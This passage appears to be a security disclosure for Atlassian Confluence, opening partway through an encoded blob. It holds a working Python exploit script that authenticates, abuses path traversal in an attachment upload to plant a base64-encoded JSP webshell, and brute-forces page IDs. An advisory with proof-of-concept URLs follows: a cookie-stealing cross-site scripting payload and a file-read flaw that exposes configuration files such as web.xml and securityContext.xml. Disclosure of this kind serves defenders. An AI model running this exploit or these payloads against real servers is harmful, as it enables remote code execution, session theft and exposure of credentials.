dTAwM0JcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNj \
RcdTAwNjlcdTAwNzNcdTAwMkVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwNENcdTAwNjlcdTAw \
NkVcdTAwNjVcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMjBcdTAwN0RcdTAwMEFcdTAwMjBcdTAwMjBcdT \
AwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwN0QKJT4KPC9wcmU+CjwvQk9EWT48 \
L0hUTUw+'
session = requests.session()
#proxies = {
# 'http': 'http://127.0.0.1:8080',
# 'https': 'https://127.0.0.1:8080'
#}
def do_authenticate():
global ATLTOKEN
auth_form_data = {
'os_username': USERNAME,
'os_password': PASSWORD,
'login': 'Log+in',
'os_destination': ''
}
r = session.post(LOGINURL, data=auth_form_data, allow_redirects=True, verify=False)#, proxies=proxies)
if r.text.find('re-enter your login') != -1:
print 'Authentication failed'
return 0
elif r.text.find('Sorry, your username and/or password are incorrect') != -1:
print 'Authentication failed'
return 0
elif r.text.find('Unauthorized') != -1:
print 'Unauthorized'
return 0
else:
print 'Authentication successful'
soup = BeautifulSoup(r.text, 'html.parser')
ATLTOKEN = soup.find('meta', {'id': 'atlassian-token'})['content']
print 'Atlassian token %s' % (ATLTOKEN)
return 1
def do_upload(_pageid):
if OS == 'Windows':
upload_form_data = SHELLCODE_WINDOWS
upload_req_params = {
'pageId': _pageid,
'filename': '../../../../../../../../../../' + ROOTFOLDER + 'assist.jsp',
'size': '3474',
'mimeType': 'text/plain',
'spaceKey': 'isis',
'atl_token': ATLTOKEN,
'name': 'assist'
}
elif OS == 'Linux':
upload_form_data = SHELLCODE_LINUX
upload_req_params = {
'pageId': _pageid,
'filename': '../../../../../../../../../../' + ROOTFOLDER + 'assist.jsp',
'size': '3516',
'mimeType': 'text/plain',
'spaceKey': 'isis',
'atl_token': ATLTOKEN,
'name': 'assist'
}
print 'Uploading webshell'
r = session.post(UPLOADURL, params=upload_req_params, data=base64.decodestring(upload_form_data), allow_redirects=True, verify=False)#, proxies=proxies)
if r.status_code == 200 and r.text.find('actionErrors') == -1:
print 'Webshell uploaded'
return 1
else:
print 'Error while uploading webshell'
return 0
def do_downloadall(_pageid):
downloadall_req_params = {
'pageId': _pageid
}
print 'Moving webshell to the root directory of the web server'
r = session.get(DOWNLOADALLURL, params=downloadall_req_params, allow_redirects=True, verify=False)#, proxies=proxies)
r = session.get(WEBSHELLURL, allow_redirects=True, verify=False)#, proxies=proxies)
if r.status_code == 200:
print 'Webshell found'
print 'Visit %s' % WEBSHELLURL
return 1
else:
print 'Webshell not found'
return 0
def do_getspaces():
print 'Getting spaces'
r = session.get(VIEWSPACESURL, allow_redirects=True, verify=False)#, proxies=proxies)
spacelist = re.findall(r'\"key\":\"(\w+)\"', r.text)
return spacelist
def do_createspace():
print 'Creating space'
upload_form_data = json.dumps({
"key": "TST1",
"name": "Example space",
"description": {
"plain": {
"value": "This is an example space",
"representation": "plain"
}
},
"metadata": {}
})
headers = {
'Content-Type': 'application/json'
}
r = session.post(VIEWSPACESURL, data=upload_form_data, headers=headers, allow_redirects=True, verify=False)#, proxies=proxies)
matched = re.match(".*\"key\":\"(\w+)\".*", r.text)
if matched:
print 'Space created'
return matched.group(1)
else:
print 'Space not created'
return 0
def do_createpage(space):
global PAGEID
print 'Trying %s space' % (space)
r = session.get(CREATEPAGEURL+space, allow_redirects=True, verify=False)#, proxies=proxies)
if r.status_code == 200 and r.text.find('ajs-draft-id') != -1:
soup = BeautifulSoup(r.text, 'html.parser')
pageid = soup.find('meta', {'name': 'ajs-draft-id'})['content']
pageid_pattern = re.compile("^(\d+)$")
if pageid_pattern.match(pageid):
PAGEID = pageid
print 'Page ID created %s' % (pageid)
return 1
else:
print 'Unexpected Page ID format'
return 0
else:
print 'Page ID not created'
return 0
def main():
if do_authenticate() != 1:
exit()
if PAGEID != '':
if PAGEID == '0':
spaces = do_getspaces()
for sp in spaces:
if do_createpage(sp) == 1:
if do_upload(PAGEID) != 1:
continue
if do_downloadall(PAGEID) != 1:
continue
else:
exit()
new_sp = do_createspace()
if new_sp != 0:
if do_createpage(new_sp) == 1:
if do_upload(PAGEID) != 1:
exit()
if do_downloadall(PAGEID) != 1:
exit()
exit()
else:
exit()
else:
exit()
if do_upload(PAGEID) != 1:
exit()
if do_downloadall(PAGEID) != 1:
exit()
else:
ID = PAGEID_RANGE_START
while ID <= PAGEID_RANGE_END:
print 'Trying Page Id %d' % (ID)
if do_upload(ID) == 1:
if do_downloadall(ID) == 1:
break
ID += 1
if __name__ == "__main__":
main()
[Systems Affected]
Product : Confluence
Company : Atlassian
Versions (1) : 5.2 / 5.8.14 / 5.8.15
CVSS Score (1) : 6.1 / Medium (classified by vendor)
Versions (2) : 5.9.1 / 5.8.14 / 5.8.15
CVSS Score (2) : 7.7 / High (classified by vendor)
[Product Description]
Confluence is team collaboration software, where you create,
organize and discuss work with your team. it is developed and marketed
by Atlassian.
[Vulnerabilities]
Two vulnerabilities were identified within this application:
(1) Reflected Cross-Site Scripting (CVE-2015-8398)
(2) Insecure Direct Object Reference (CVE-2015-8399)
[Advisory Timeline]
26/Oct/2015 - Discovery and vendor notification
26/Oct/2015 - Vendor replied for Cross-Site Scripting (SEC-490)
26/Oct/2015 - Issue CONF-39689 created
27/Oct/2015 - Vendor replied for Insecure Direct Object Reference
(SEC-491 / SEC-492)
27/Oct/2015 - Issue CONF-39704 created
16/Nov/2015 - Vendor confirmed that Cross-Site Scripting was fixed
19/Nov/2015 - Vendor confirmed that Insecure Direct Object
Reference was fixed
[Patch Available]
According to the vendor, upgrade to Confluence version 5.8.17
[Description of Vulnerabilities]
(1) Reflected Cross-Site Scripting
An unauthenticated reflected Cross-site scripting was found in
the REST API. The vulnerability is located at
/rest/prototype/1/session/check/ and the payload used is <img src=a
onerror=alert(document.cookie)>
[References]
CVE-2015-8398 / SEC-490 / CONF-39689
[PoC]
http://<Confluence
Server>/rest/prototype/1/session/check/something%3Cimg%20src%3da%20onerror%3dalert%28document.cookie%29%3E
(2) Insecure Direct Object Reference
Two instances of Insecure Direct Object Reference were found
within the application, that allows any authenticated user to read
configuration files from the application
[References]
CVE-2015-8399 / SEC-491 / SEC-492 / CONF-39704
[PoC]
http://<Confluence
Server>/spaces/viewdefaultdecorator.action?decoratorName=<FILE>
http://<Confluence
Server>/admin/viewdefaultdecorator.action?decoratorName=<FILE>
This is an example of accepted <FILE> parameters
/WEB-INF/decorators.xml
/WEB-INF/glue-config.xml
/WEB-INF/server-config.wsdd
/WEB-INF/sitemesh.xml
/WEB-INF/urlrewrite.xml
/WEB-INF/web.xml
/databaseSubsystemContext.xml
/securityContext.xml
/services/statusServiceContext.xml
com/atlassian/confluence/security/SpacePermission.hbm.xml
com/atlassian/confluence/user/OSUUser.hbm.xml
com/atlassian/confluence/security/ContentPermissionSet.hbm.xml
com/atlassian/confluence/user/ConfluenceUser.hbm.xml
--
S3ba
@s3bap3
linkedin.com/in/s3bap3